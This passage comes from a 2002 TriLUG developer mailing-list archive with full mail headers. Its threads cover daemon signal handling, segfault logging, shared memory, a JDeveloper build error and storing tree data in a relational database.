lives out here in Boulder and is, I believe, >currently working on the gcj front-end. His email is: tromey@redhat.com > > cool. Thanks man. -Andy >Ed > > > From crimsun@email.unc.edu Wed May 29 18:20:19 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp.unc.edu (smtpsrv12.isis.unc.edu [152.2.1.243]) by fatalpha.trilug.org (Postfix) with ESMTP id 9B8B0E5B4 for ; Wed, 29 May 2002 18:20:19 -0400 (EDT) Received: from opeth.ath.cx (mail@dhcp00040.resnet.unc.edu [152.19.192.56]) by smtp.unc.edu (8.12.2/8.12.2) with ESMTP id g4TMGdN3022363 for ; Wed, 29 May 2002 18:16:39 -0400 (EDT) Received: from crimsun by opeth.ath.cx with local (Exim 3.35 #1 (Debian)) id 17DBk0-0007vQ-00 for ; Wed, 29 May 2002 18:16:24 -0400 Date: Wed, 29 May 2002 18:16:24 -0400 To: dev@trilug.org Subject: Re: [Dev] GCC Front end anyone? Message-ID: <20020529221624.GA30457@opeth.ath.cx> References: <3CF51E75.7010204@apache.org> <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="fUYQa+Pmc3FrFX/N" Content-Disposition: inline In-Reply-To: <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> User-Agent: Mutt/1.3.28i From: Dan Chen Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --fUYQa+Pmc3FrFX/N Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 29, 2002 at 02:37:52PM -0400, Tanner Lovelace wrote: [snip] > lunch here and came to the conclusion that pretty much every language > out there has its strengths and weaknesses and that instead of=20 > focusing on a particular language you should look at what you > need to get done and use the best tool for the job. Sometimes > that's C++, sometimes it's C, or even Java, Perl, Python, Ruby, > etc... C++ no more sucks than Java does (and I personally think > it sucks a *lot* less). It's just what you know and are used to. Wow, this is highly reminiscent of Comp144! Thanks, Tanner! =3D) --=20 Dan Chen crimsun@email.unc.edu GPG key: www.unc.edu/~crimsun/pubkey.gpg.asc --fUYQa+Pmc3FrFX/N Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE89VM3MwVVFhIHlU4RAro/AJ4o9v+xiGagGlLD/gymOwMBt3UWoQCdEhiD mGTrpO9JB1bt72JVNQ3euvg= =fDcJ -----END PGP SIGNATURE----- --fUYQa+Pmc3FrFX/N-- From petelong@petelong.com Thu May 30 00:21:17 2002 Return-Path: Delivered-To: dev@trilug.org Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (Postfix) with ESMTP id 05CA8E5B4 for ; Thu, 30 May 2002 00:21:16 -0400 (EDT) Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id 850561B016 for ; Thu, 30 May 2002 00:25:38 -0400 (EDT) Received: from 192.168.0.2 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Thu, 30 May 2002 00:25:38 -0400 (EDT) Message-ID: <2787.192.168.0.2.1022732738.squirrel@albert.petelong.com> Date: Thu, 30 May 2002 00:25:38 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org In-Reply-To: References: X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?Re:_[Dev]_Re:_simple_daemon_dies?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Hello > > I thought this would be interesting to those who followed the "Re: > [Dev] HOWTO write a daemon" thread. > Interesting reading. I got my little daemon working in about 1 hour thanks to all the advice given here. The only signal I am handling is SIGQUIT. I use it to set a flag that causes all the worker threads in my daemon to exit. It works perfectly. I was wondering if there is a template out there showing a reference implementation of signal handlers? If seems dangerous to just let the default handler handle all signals. Does that not mean SIGTERM would zap your process without giving you a chance to free file handles, close sockets of whatever? -- Peter Long mailto:petelong@petelong.com From mmueller@ss7box.com Thu May 30 09:16:50 2002 Return-Path: Delivered-To: dev@trilug.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by fatalpha.trilug.org (Postfix) with ESMTP id CCE10E5B4 for ; Thu, 30 May 2002 09:16:50 -0400 (EDT) Received: from user-uivf3uv.dsl.mindspring.com ([165.247.143.223] helo=there) by hall.mail.mindspring.net with smtp (Exim 3.33 #1) id 17DPka-0002BX-00 for dev@trilug.org; Thu, 30 May 2002 09:13:56 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] Re: [Dev] Re: simple daemon dies Date: Thu, 30 May 2002 09:09:48 -0400 X-Mailer: KMail [version 1.3.1] References: <2787.192.168.0.2.1022732738.squirrel@albert.petelong.com> In-Reply-To: <2787.192.168.0.2.1022732738.squirrel@albert.petelong.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 30 May 2002 00:25, Peter Long reputedly wrote: The only signal I am handling is SIGQUIT. I > use it to set a flag that causes all the worker threads in my daemon to > exit. It works perfectly. What happens when the the daemon is abruptly killed? Happy ending with a clean restart? > > I was wondering if there is a template out there showing a reference > implementation of signal handlers? If seems dangerous to just let the > default handler handle all signals. Does that not mean SIGTERM would zap > your process without giving you a chance to free file handles, close > sockets of whatever? My experience with the default handlers are positive. I have systems that have been running for months that have endured repeated ungraceful endings to my multi-daemon application. I have a script to kill all the remaining daemons. I prefer to have a manual cleanup so I can analyse the "crime scene". There's one nagging problem I can use some help with. When I run in foreground and get a segmentation fault, there is a nice message alerting me to this event. When my daemons hit a seg. fault there's no indication in /var/log/messages. Any hints on how to find clues that a daemon did a seg. fault would be most appreciated. -- Mike Mueller www.ss7box.com From petelong@petelong.com Thu May 30 22:33:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (Postfix) with ESMTP id 970B6E5C2 for ; Thu, 30 May 2002 22:33:59 -0400 (EDT) Received: from amdaemon (amdaemon.petelong.com [192.168.0.2]) by albert.petelong.com (Postfix) with SMTP id DBF7B16719 for ; Thu, 30 May 2002 22:38:29 -0400 (EDT) Message-ID: <000d01c2084b$367dd1e0$0200a8c0@amdaemon> From: "Peter Long" To: References: <2787.192.168.0.2.1022732738.squirrel@albert.petelong.com> Subject: [Dev] Re: simple daemon dies Date: Thu, 30 May 2002 22:31:04 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: ----- Original Message ----- From: "Michael Mueller" To: Sent: Thursday, May 30, 2002 9:09 AM Subject: Re: [Dev] Re: [Dev] Re: simple daemon dies > On Thursday 30 May 2002 00:25, Peter Long reputedly wrote: > The only signal I am handling is SIGQUIT. I > > use it to set a flag that causes all the worker threads in my daemon to > > exit. It works perfectly. > > What happens when the the daemon is abruptly killed? Happy ending with a > clean restart? I am not 100% sure what you are asking? When you say "killed abruptly" do you mean with SIGKILL(-9)? In my case the default behaviour (to terminate the process) would abort any open tcp connections. I would prefer to shut them down gracefully. It restarts cleanly after being killed. Looking at man 7 signal it says that the default behaviour for SIGQUIT (-3) is to terminate and dump core. I do not do that, I just terminate. I guess I should rather catch SIGTERM (-15) since it can be caught where as SIGKILL cannot. Its default behaviour is to terminate the process. > There's one nagging problem I can use some help with. When I run in > foreground and get a segmentation fault, there is a nice message alerting me > to this event. When my daemons hit a seg. fault there's no indication in > /var/log/messages. Any hints on how to find clues that a daemon did a seg. > fault would be most appreciated. Again according to man 7 signal, SIGSEGV is signaled when a segmentation fault occurs. I wonder if you could catch it and then try extract some usefull information from the system. At the very least you could log the fact that is occured. -- Peter Long From wingedlizard@nc.rr.com Sat Jun 1 13:13:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (Postfix) with ESMTP id 109DCE5C9; Sat, 1 Jun 2002 13:13:59 -0400 (EDT) Received: from nc.rr.com ([24.25.20.107]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sat, 1 Jun 2002 13:11:03 -0400 Message-ID: <3CF9019C.5060808@nc.rr.com> Date: Sat, 01 Jun 2002 13:17:16 -0400 From: H Brett Bolen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc1) Gecko/20020417 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Cc: trilug@trilug.org, John F Davis Subject: Re: [Dev] Re: [TriLUG] anybody use pointers and shared memory? References: <3CE2C8C5.6010206@nc.rr.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: wingedlizard@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Serendipity strikes again. I was playing with info pages using kde, and I found mmalloc. This looks like what you are asking for, let me know how it works out. b\375 H Brett Bolen wrote:7 > John F Davis wrote: > >> Hello >> >> I know how to use shared memory between processes via shmget and >> shmat, but >> I'm not an expert on their use. (I've used it for simple flat >> structures.) >> Anybody have any experience using them with something similar to malloc'd >> pointers? For instance, if I want to dynamically allocate data that is >> shared, do I have to use shmget/shmat in lieu of malloc? >> > > Hey John, > > There is a very simple wrapper class, SharedArray, here: > > http://www.pressenter.com/~3nelsons/joecode/ > > it's implemented in the header file, and is easy to use. as long as > the destructors are called, everything is cleaned up. > > use is as simple as > > typedef struct { > ... > } MyStruct; > > MyStruct *MyStructArray = new SharedArray< MyStruct> ( "Name", 100); > > MyStructArray[1] = ... > > delete MyStructArray; > > may not be exact, but close. > > > b\375 > > ps: I'm forwarding this to dev@trilug.org > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > From mmueller@ss7box.com Thu Jun 13 09:01:12 2002 Return-Path: Delivered-To: dev@trilug.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by fatalpha.trilug.org (Postfix) with ESMTP id 49637E5CC for ; Thu, 13 Jun 2002 09:01:12 -0400 (EDT) Received: from user-11faeb7.dsl.mindspring.com ([66.245.57.103] helo=there) by hall.mail.mindspring.net with smtp (Exim 3.33 #1) id 17IUAy-0006RQ-00 for dev@trilug.org; Thu, 13 Jun 2002 08:58:08 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Date: Thu, 13 Jun 2002 08:52:29 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] seg fault in syslog Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Should I see a seg. fault message in a log file? Which one? I do not see them and I've learned how to identify them through other system behaviors. I would reaaly like to have a clear message in a log file. I picked up a hint that gcc-3.0 should not be used to compile kernels. That's exactly what I've been doing. I'm wondering if this practice might be causing problems like the one I describe. -- Mike Mueller www.ss7box.com From mike@darkcanvas.com Thu Jun 13 16:45:39 2002 Return-Path: Delivered-To: dev@trilug.org Received: from lacrosse.corp.redhat.com (nat-pool-rdu.redhat.com [66.187.233.200]) by fatalpha.trilug.org (Postfix) with ESMTP id 99535E5D6 for ; Thu, 13 Jun 2002 16:45:39 -0400 (EDT) Received: from darkcanvas.com (ha7.test.redhat.com [192.168.32.62]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id g5DKgax11781; Thu, 13 Jun 2002 16:42:36 -0400 Message-ID: <3D0902E9.7010802@darkcanvas.com> Date: Thu, 13 Jun 2002 16:39:05 -0400 From: Mike McLean User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020513 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] Re: simple daemon dies References: <2787.192.168.0.2.1022732738.squirrel@albert.petelong.com> <000d01c2084b$367dd1e0$0200a8c0@amdaemon> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Peter Long wrote: > Again according to man 7 signal, SIGSEGV is signaled when a segmentation > fault occurs. I wonder if you could catch it and then try extract some > usefull information from the system. At the very least you could log the > fact that is occured. You can indeed catch SIGSEGV. The only signals that cannot be caught are SIGKILL and SIGSTOP. From tbryan@python.net Wed Jun 19 22:08:51 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (Postfix) with ESMTP id B0491E5E6 for ; Wed, 19 Jun 2002 22:08:50 -0400 (EDT) Received: from there ([66.26.95.46]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 19 Jun 2002 22:07:04 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Date: Wed, 19 Jun 2002 22:17:30 +0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <03e180407021462FE5@mail5.nc.rr.com> Subject: [Dev] Oracle's JDeveloper 9i on RedHat 7.1 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm trying to use Oracle's JDeveloper 9i on a RedHat 7.1 at work. It installed fine. I can start it and set up a project and edit code. When I try to build any code (even HelloWorld.java), I get the following lame error: Compiling... Internal compilation error, terminated with a fatal exception That's it! I can compile the code with the JDK 1.3.1 that I specified to JDeveloper in its jdev.conf file. Before I go down the path of Oracle TAR Hell, I thought that I'd ask here first. Has anyone else tried this (or a similar Java IDE)? Any success/failure stories to share? Any idea how I can extract something more informative than the error message I'm getting from JDeveloper? Thanks, ---Tom From john@radiomind.com Wed Jun 19 23:41:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (Postfix) with ESMTP id 245E6E5EB for ; Wed, 19 Jun 2002 23:41:59 -0400 (EDT) Received: from localhost (marconi [127.0.0.1]) by marconi.radiomind.com (Postfix) with ESMTP id C72B91B8FA for ; Wed, 19 Jun 2002 23:41:57 -0400 (EDT) Received: from watt.radiomind.com (watt.radiomind.com [192.168.121.13]) by marconi.radiomind.com (Postfix) with ESMTP id 522271B839 for ; Wed, 19 Jun 2002 23:41:56 -0400 (EDT) From: John Beimler To: dev@trilug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 19 Jun 2002 23:33:58 -0400 Message-Id: <1024544039.2180.4.camel@watt> Mime-Version: 1.0 X-Virus-Scanned: by AMaViS snapshot-20020316 Subject: [Dev] Representing Tree/hierachical data in a relational database Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Looking for some suggestions on storing parent/child relationships in a relational database. I got spoiled with Oracle and the built in support for that. I'd rather not just go with children having a pointer to their parent, I know there must be a more efficient method. Thanks john -- John Beimler john@radiomind.com From brent@mutt.rcfile.org Thu Jun 20 03:36:50 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mutt.rcfile.org (unknown [66.57.226.247]) by fatalpha.trilug.org (Postfix) with ESMTP id C3AFEE5E6 for ; Thu, 20 Jun 2002 03:36:49 -0400 (EDT) Received: from mutt.rcfile.org (localhost [127.0.0.1]) by mutt.rcfile.org (8.12.3/8.12.3) with ESMTP id g5K7aiM8075098 for ; Thu, 20 Jun 2002 03:36:44 -0400 (EDT) (envelope-from brent@mutt.rcfile.org) Received: (from brent@localhost) by mutt.rcfile.org (8.12.3/8.12.3/Submit) id g5K7ai8Q075097 for dev@trilug.org; Thu, 20 Jun 2002 03:36:44 -0400 (EDT) Date: Thu, 20 Jun 2002 03:36:43 -0400 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Representing Tree/hierachical data in a relational database Message-ID: <20020620073643.GA31632@rcfile.org> References: <1024544039.2180.4.camel@watt> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1024544039.2180.4.camel@watt> X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.6-STABLE #6: Tue Jun 18 11:18:36 EDT 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTTS User-Agent: Mutt/1.5.1i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-06-19 23:33] John Beimler said: | Looking for some suggestions on storing parent/child relationships in a | relational database. I got spoiled with Oracle and the built in support | for that. I'd rather not just go with children having a pointer to | their parent, I know there must be a more efficient method. see if this helps. http://www.intelligententerprise.com/001020/celko1_1.shtml If not, search for that link in the postgresql.org mailing lists (maybe pgsql-users) for other interesting comments on this question. cheeres. b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From rvestal@rti.org Thu Jun 20 08:36:06 2002 Return-Path: Delivered-To: dev@trilug.org Received: from rtints54.rti.org (rtints54.rti.org [198.86.81.8]) by fatalpha.trilug.org (Postfix) with ESMTP id 9489EE5E6 for ; Thu, 20 Jun 2002 08:36:06 -0400 (EDT) Received: by exis.rti.org with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Jun 2002 08:36:06 -0400 Message-ID: <4356058381ECB8498BB30B34D7AE3AEF0285876D@rtints5.rti.org> From: "Vestal, Roy L." To: "'dev@trilug.org'" Subject: RE: [Dev] Oracle's JDeveloper 9i on RedHat 7.1 Date: Thu, 20 Jun 2002 08:36:04 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I've had some problems with Sun's JDK under Linux and Oracle 9i. I used Blackdown's JDK, which was recommended in the Oracle 9i docs as well, and it seems to have cleared for me. www.blackdown.org JDK v1.1.8 worked ok. -----Original Message----- From: Tom Bryan [mailto:tbryan@python.net] Sent: Wednesday, June 19, 2002 1:18 PM To: dev@trilug.org Subject: [Dev] Oracle's JDeveloper 9i on RedHat 7.1 I'm trying to use Oracle's JDeveloper 9i on a RedHat 7.1 at work. It installed fine. I can start it and set up a project and edit code. When I try to build any code (even HelloWorld.java), I get the following lame error: Compiling... Internal compilation error, terminated with a fatal exception That's it! I can compile the code with the JDK 1.3.1 that I specified to JDeveloper in its jdev.conf file. Before I go down the path of Oracle TAR Hell, I thought that I'd ask here first. Has anyone else tried this (or a similar Java IDE)? Any success/failure stories to share? Any idea how I can extract something more informative than the error message I'm getting from JDeveloper? Thanks, ---Tom _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From tbryan@python.net Thu Jun 20 21:24:34 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (Postfix) with ESMTP id BB9AFE5E4 for ; Thu, 20 Jun 2002 21:24:34 -0400 (EDT) Received: from there ([66.26.95.46]) by mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 20 Jun 2002 21:24:34 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Representing Tree/hierachical data in a relational database Date: Thu, 20 Jun 2002 21:34:59 +0500 X-Mailer: KMail [version 1.3.1] References: <1024544039.2180.4.camel@watt> <20020620073643.GA31632@rcfile.org> In-Reply-To: <20020620073643.GA31632@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <045ac3424011562FE6@mail6.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 20 June 2002 12:36 pm, Brent Verner wrote: > see if this helps. > > http://www.intelligententerprise.com/001020/celko1_1.shtml > > If not, search for that link in the postgresql.org mailing lists > (maybe pgsql-users) for other interesting comments on this question. Thanks for that link. I've never seen that solution to the "parts explosion" or "bill of materials" problem before. Of course, I think that the best solution depends on how the data will be used. His solution looked great for apps that mostly need to query subtrees. It would be horrible if most of the queries are one-step drill-downs and the application makes frequent updates to the tree structure itself. ---Tom From tbryan@python.net Thu Jun 20 21:47:40 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (Postfix) with ESMTP id A79F4E5E4 for ; Thu, 20 Jun 2002 21:47:40 -0400 (EDT) Received: from there ([66.26.95.46]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 20 Jun 2002 21:47:39 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Oracle's JDeveloper 9i on RedHat 7.1 Date: Thu, 20 Jun 2002 21:58:05 +0500 X-Mailer: KMail [version 1.3.1] References: <4356058381ECB8498BB30B34D7AE3AEF0285876D@rtints5.rti.org> In-Reply-To: <4356058381ECB8498BB30B34D7AE3AEF0285876D@rtints5.rti.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0d06b3947011562FE5@mail5.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 20 June 2002 05:36 pm, Vestal, Roy L. wrote: > I've had some problems with Sun's JDK under Linux and Oracle 9i. Thanks for the suggestion. I've had no problems with Sun's JDK on the Linux machine (compiling from the command line). It turns out that there was a problem with JDeveloper's jdev.conf file. I think that the line was the one with JDEV_USER_HOME, a variable that makes shared installs on a Windows machine work. JDeveloper was looking for that variable to figure out where my home directory was. Since I didn't have that environment variable set, it defaulted to using the software's install directory, for which I had limited permissions of course. I had to comment out the line in the jdev.conf file (or set the variable). When I commented out the line, it seemed to be happy with using the HOME variable. The jdev.conf file worked fine if I had JDeveloper installed such that my user owned all of the files and directories. Anyway, now it's working. Thanks, ---Tom From johndavi@us.ibm.com Fri Jun 21 08:44:46 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by fatalpha.trilug.org (Postfix) with ESMTP id A805CE5B6 for ; Fri, 21 Jun 2002 08:44:46 -0400 (EDT) Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5LCijg5271720 for ; Fri, 21 Jun 2002 08:44:45 -0400 Received: from d03nm113.boulder.ibm.com (avpilot.boulder.ibm.com [9.17.203.135]) by westrelay01.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5LCijE114230 for ; Fri, 21 Jun 2002 06:44:45 -0600 Importance: Normal Sensitivity: To: dev@trilug.org Cc: "Seeta Hariharan" X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Fri, 21 Jun 2002 08:44:16 -0400 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 5.0.10 |March 22, 2002) at 06/21/2002 06:44:44 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] jobs jobs jobs Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Sorry for the false alarm. My boss informed me that we infact are not hiring at this time. Instead, My boss issued a request to hire contractors. The request has not been granted at this time. I misunderstood. My apologies if I got anybody's hopes up. JD From tbryan@python.net Sun Jun 23 20:54:08 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (Postfix) with ESMTP id B3434E5E0 for ; Sun, 23 Jun 2002 20:54:08 -0400 (EDT) Received: from fezzik ([66.26.95.46]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Sun, 23 Jun 2002 20:54:07 -0400 Content-Type: text/plain; charset="us-ascii" From: Tom Bryan To: dev@trilug.org Date: Sun, 23 Jun 2002 21:17:24 +0500 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200206232117.24769.tbryan@python.net> Subject: [Dev] XML Developer's on the list Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This isn't specifically a Linux development question, but given the way Gnome and KDE have embraced XML, I thought it might be of interest... I want to use some XML-based data exports/imports for a software product. There's one problem in the XML Schema design for which I haven't been able to find a good/"best practices"/recommended solution. See the schema snippet below for an example of what I mean. An example document might look like this I'd like the roles to be validated by the XML parser, but the set of valid roles varies depending upon which customer is using the software. Is there a way to do this without having a completely different version of the schema at each customer site? Am I stuck with using xsd:string for the role attribute and doing all of the validation in the code (driven by a site-specific properties file)? Would you somehow separate out the portions that change per customer and let those responsible for installing the system tweak the customer-specific portions of the schema? Thanks, ---Tom From alchemist@darkcanvas.com Sun Jun 23 22:29:34 2002 Return-Path: Delivered-To: dev@trilug.org Received: from midgard.darkcanvas.com (user2.net264.nc.sprint-hsd.net [208.17.72.2]) by fatalpha.trilug.org (Postfix) with ESMTP id A43DCE5B6 for ; Sun, 23 Jun 2002 22:29:33 -0400 (EDT) Received: from pikachu (user2.net264.nc.sprint-hsd.net [208.17.72.2]) (authenticated (0 bits)) by midgard.darkcanvas.com (8.11.1/8.11.1) with ESMTP id g5O2TQx15351 for ; Sun, 23 Jun 2002 22:29:26 -0400 Subject: Re: [Dev] XML Developer's on the list From: Kevin Sonney To: dev@trilug.org In-Reply-To: <200206232117.24769.tbryan@python.net> References: <200206232117.24769.tbryan@python.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-uylGzmI25oyvGFecothY" X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 23 Jun 2002 22:26:38 -0400 Message-Id: <1024885604.1869.47.camel@pikachu.house.darkcanvas.com> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: 